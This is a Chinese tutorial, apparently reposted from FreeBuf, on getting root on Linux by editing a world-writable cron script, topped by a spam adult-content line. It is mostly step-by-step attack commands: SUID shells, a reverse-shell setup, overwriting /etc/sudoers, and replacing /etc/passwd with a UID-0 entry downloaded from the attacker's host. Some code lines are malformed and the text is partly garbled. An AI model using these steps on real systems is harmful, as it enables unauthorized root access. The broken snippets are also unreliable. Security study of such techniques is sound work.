自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

在Linux上通過可寫文件獲取Root權(quán)限的多種方式

系統(tǒng) Linux 安全
在Linux中,一切都可以看做文件,包括所有允許/禁止讀寫執(zhí)行權(quán)限的目錄和設(shè)備。當(dāng)管理員為任何文件設(shè)置權(quán)限時(shí),都應(yīng)清楚并合理為每個(gè)Linux用戶分配應(yīng)有的讀寫執(zhí)行權(quán)限。在本文中我將為大家展示,如何利用Linux中具有寫入權(quán)限的文件/腳本來進(jìn)行提權(quán)操作。

在Linux中,一切都可以看做文件,包括所有允許/禁止讀寫執(zhí)行權(quán)限的目錄和設(shè)備。當(dāng)管理員為任何文件設(shè)置權(quán)限時(shí),都應(yīng)清楚并合理為每個(gè)Linux用戶分配應(yīng)有的讀寫執(zhí)行權(quán)限。在本文中我將為大家展示,如何利用Linux中具有寫入權(quán)限的文件/腳本來進(jìn)行提權(quán)操作。好了,話不多說。下面就進(jìn)入我們的正題吧!

首先,我們來啟動(dòng)我們的攻擊機(jī)并滲透進(jìn)目標(biāo)系統(tǒng)直至提權(quán)階段。這里假設(shè)我通過ssh成功登錄到了受害者機(jī)器,并訪問了非root用戶的終端。通過以下命令,我們可以枚舉所有具有可寫權(quán)限的二進(jìn)制文件。

  1. find / -writable -type  f 2>/dev/null | grep -v "/proc/" 

可以看到在/lib/log路徑下有一個(gè)python文件,我們進(jìn)入到該目錄并查看該文件的權(quán)限為777 

通過cat命令查看該文件內(nèi)容,這是管理員添加的一個(gè)用來清除 /tmp中的所有垃圾文件的腳本,具體執(zhí)行取決于管理員設(shè)置的定時(shí)間隔。獲取了這些信息后,攻擊者可以通過以下方式來執(zhí)行提權(quán)操作。 

方法1

我們復(fù)制了/bin/sh到/tmp下并為/tmp/sh啟用了SUID。使用編輯器打開sanitizer.py并將 “rm -r /tmp/*” 中的內(nèi)容替換為以下兩行: 

  1. os.system('cp /bin/sh /tmp/sh'
  2. os.system('chmod u+s /tmp/sh'

 

一段時(shí)間后,它將在/tmp目錄內(nèi)創(chuàng)建一個(gè)具有SUID權(quán)限的sh文件,當(dāng)你運(yùn)行它時(shí),你將會(huì)獲取root訪問權(quán)限。 

  1. cd /tmp 
  2. ls 
  3. ./sh 
  4. id 
  5. whoami 

下圖可以說明一切! 

方法2

同樣,你也可以將 “rm -r /tmp/*” 替換為以下內(nèi)容:

  1. os.system(‘chmod u+s /bin/dash) 

 

一段時(shí)間后,它將為/bin/dash設(shè)置SUID權(quán)限,并且在運(yùn)行時(shí)會(huì)給予root訪問權(quán)限。 

  1. /bin/dash 
  2. id 
  3. whoami 

如下圖所示: 

方法3

在這種方法中,我們?cè)?rm -r /tmp/* 的位置粘貼了python反向shell連接代碼,并在新的終端中啟動(dòng)了netcat偵聽。 

如上所述,經(jīng)過一段時(shí)間后,我們通過netcat獲取了具有root訪問權(quán)限的反向shell。 

  1. nc -lvp 1234 
  2. id 
  3. whoami 

如下圖所示: 

方法4

這個(gè)方法挺有意思的,在下圖中大家可以看到我當(dāng)前的用戶是沒有執(zhí)行sudo命令的權(quán)限的。那我們就想辦法讓自己成為suoders文件成員。 

同樣,我們將 “rm -r /tmp/*” 替換為以下內(nèi)容:

  1. os.system('echo "wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers'

 

過一段時(shí)間后,當(dāng)你輸入“sudo -l”命令時(shí),你會(huì)注意到,它已成為了sudo用戶的成員。此時(shí)我們只要輸入“sudo bash”就可以獲取root訪問權(quán)限。 

  1. sudo -l 
  2. sudo bash 
  3. id 

方法5

我們知道passwd在任何類linux的系統(tǒng)中都扮演著非常重要的角色,一旦攻擊者有機(jī)會(huì)可以修改此文件,那么它將會(huì)成為一種特權(quán)提升的動(dòng)態(tài)方式。

同樣,我們也不會(huì)忽視這一點(diǎn),使用cat命令讀取etc/passwd文件。

在這里你可以觀察到用戶名為nemo記錄的高亮條目,根據(jù)我的猜測(cè)UID:1000 & GID:1000表示它應(yīng)該是管理員組的成員。

但我們的目標(biāo)是通過編輯nemo記錄,使其成為root組的成員。因此,我們選擇并復(fù)制etc/passwd文件內(nèi)的所有記錄,然后將它粘貼到一個(gè)空的文本文件中。 

然后在一個(gè)新的終端中使用openssl生成一個(gè)加鹽密碼并復(fù)制。

  1. openssl passwd -1 -salt abc 123 

 

現(xiàn)在將上面復(fù)制的加鹽密碼粘貼至用戶nemo記錄條目中的“X”處,并且將UID&GID更改為0,如圖所示。操作完成后,將文本文件保存為“passwd”,將該文件傳輸至目標(biāo)系統(tǒng),它將覆蓋原始passwd文件的內(nèi)容。

 

  1. cd Desktop 
  2. python -m SimpleHTTPServer 80 

 

同樣,將 “rm -r /tmp/*” 替換為以下內(nèi)容:

  1. os.system(‘chmod u+s /bin/cp) 

一段時(shí)間后,它會(huì)啟用/bin/cp的SUID位以復(fù)制任意文件。 

現(xiàn)在將被你修改過的passwd文件下載至目標(biāo)系統(tǒng)的/tmp目錄中。讓我們來檢查一下/bin/cp是否啟用了SUID位,然后使用cp命令將修改的passwd文件復(fù)制到/etc/passwd中,這將覆蓋原始passwd文件的內(nèi)容。 

  1. cd /tmp 
  2. wget http://192.168.1.103/passwd 
  3. ls -al /bin/cp 
  4. cp passwd /etc/passwd 

 

現(xiàn)在,我們鍵入以下命令查看修改內(nèi)容是否已在passwd文件中生效。

  1. tail /etc/passwd 

可以看到修改內(nèi)容已成功寫入! 

執(zhí)行以下命令獲取root訪問權(quán)限: 

  1. su nemo 
  2. password 123 
  3. whoami 

 

責(zé)任編輯:未麗燕 來源: FreeBuf
相關(guān)推薦

2018-06-22 10:18:52

2013-07-11 09:51:15

2022-08-14 19:27:16

LinuxmacOS

2009-11-23 17:16:54

PHP獲取IP

2013-11-01 11:32:49

2010-03-03 14:17:02

Linux內(nèi)核

2011-07-04 13:36:26

linuxOracle

2023-09-03 18:55:51

2017-05-08 17:20:01

Linux指定目錄讀寫權(quán)限

2017-05-10 15:16:29

Linux系統(tǒng)目錄讀寫指定目錄

2010-01-27 09:56:31

linux超級(jí)權(quán)限root密碼

2009-07-06 18:36:21

linux要求可寫但不可刪

2019-02-19 10:30:29

VirtualBoxKali Linux虛擬機(jī)

2019-03-31 08:50:44

LinuxWine游戲

2022-06-26 06:31:25

Linux電子游戲

2012-03-02 12:14:19

JavaJstackJmap

2022-11-18 08:55:33

2019-10-09 16:50:48

SSHLinux遠(yuǎn)程系統(tǒng)

2020-05-07 09:18:57

Linux壓縮文件命令

2018-06-25 13:10:16

Linux復(fù)制重命名
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)